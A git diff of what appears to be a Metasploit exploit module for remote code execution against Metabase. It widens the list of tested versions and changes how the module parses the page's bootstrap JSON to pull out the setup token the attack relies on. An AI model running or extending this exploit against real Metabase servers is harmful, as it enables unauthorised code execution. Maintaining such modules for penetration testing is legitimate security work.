@@ -22,7 +22,7 @@ def initialize(info = {})
2222 that allows for code execution. We use a sample database for our connection
2323 string to prevent corrupting real databases.
2424
25- Successfully tested against Metabase 0.46.6.
25+ Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1 .
2626 } ,
2727 'License' => MSF_LICENSE ,
2828 'Author' => [
@@ -62,10 +62,10 @@ def initialize(info = {})
6262 )
6363 end
6464
65- def get_bootstrap_json_blob_from_html_resp ( html )
66- %r{<script type="application/json" id="_metabaseBootstrap">([^>]+)</script>} =~ html
65+ def get_bootstrap_json_blob_from_html_resp ( res )
66+ metabase_bootstrap = res . get_html_document . xpath ( '//script[@ id="_metabaseBootstrap"]' ) . text
6767 begin
68- JSON . parse ( Regexp . last_match ( 1 ) )
68+ JSON . parse ( metabase_bootstrap )
6969 rescue JSON ::ParserError , TypeError
7070 print_bad ( 'Unable to parse JSON blob' )
7171 nil
@@ -81,7 +81,7 @@ def check
8181 return CheckCode ::Unknown ( "#{ peer } - Could not connect to web service - no response" ) if res . nil?
8282 return CheckCode ::Unknown ( "#{ peer } - Check URI Path, unexpected HTTP response code: #{ res . code } " ) unless res . code == 200
8383
84- json = get_bootstrap_json_blob_from_html_resp ( res . body )
84+ json = get_bootstrap_json_blob_from_html_resp ( res )
8585 fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unexpected response, unable to load JSON blob" ) if json . nil?
8686 version = json . dig ( 'version' , 'tag' )
8787 return CheckCode ::Unknown ( "#{ peer } - Unable to determine version from JSON blob" ) if version . nil?
@@ -103,7 +103,7 @@ def exploit
103103 )
104104 fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to the web service" ) if res . nil?
105105 fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unexpected response (response code: #{ res . code } )" ) unless res . code == 200
106- json = get_bootstrap_json_blob_from_html_resp ( res . body )
106+ json = get_bootstrap_json_blob_from_html_resp ( res )
107107 fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unexpected response, unable to load JSON blob" ) if json . nil?
108108 setup_token = json [ 'setup-token' ]
109109 if setup_token . nil?
0 commit comments